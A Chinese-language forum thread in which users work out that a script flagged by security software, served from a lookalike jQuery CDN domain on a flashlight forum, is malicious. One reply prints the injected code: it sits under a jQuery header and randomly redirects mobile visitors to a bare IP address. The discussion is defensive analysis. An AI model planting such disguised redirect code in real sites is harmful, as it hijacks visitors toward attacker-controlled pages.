这个到底是误报还是真有问题？

jjjjjj8889

逛手电论坛shoudian.org的时候，登录后疯狂报下面这个js，每个页面都报，不登陆不报好像不登陆不会加载这个js。
是误报吗，我要阻止还是允许？
https://cdn.dnsjquery.com/ajax/libs/jquery/3.6.1/jquery.js

chiahong

不是误报，这个 JS 明显被黑了

1. /*! jQuery v3.6.1 | (c) OpenJS Foundation and other contributors | jquery.org/license */
   
2. 
   
3.   var myrandom=Math.random()*10
   
4.   console.log(Math.trunc(myrandom))
   
5.   if(myrandom >=5 && myrandom <=7 )
   
6.   {
   
7.   function isMobile() {
   
8.   const userAgent = navigator.userAgent.toLowerCase();
   
9.   const mobileKeywords = ['iphone', 'android'];
   
10.   return mobileKeywords.some(keyword => userAgent.includes(keyword));
    
11.   }
    
12.   if (isMobile()) {
    
13.   window.location.href = "http://47.116.2.185/index1.html";
    
14.         }
    
15.   }
    

复制代码

tony099

这边确定是恶意链接。

看起来你的代码主要在判断用户是否正在使用移动设备访问网页，如果用户正在使用移动设备并且随机数在5到7之间，就会重定向到指定的页面。

jjjjjj8889

chiahong 发表于 2023-11-13 15:41
不是误报，这个 JS 明显被黑了

他这个代码是想干什么？

风雷max

jjjjjj8889 发表于 2023-11-13 18:05
他这个代码是想干什么？

在移动端设备访问的时候以一定概率跳转到它的网站上

jjjjjj8889

风雷max 发表于 2023-11-13 18:16
在移动端设备访问的时候以一定概率跳转到它的网站上

明白了，多谢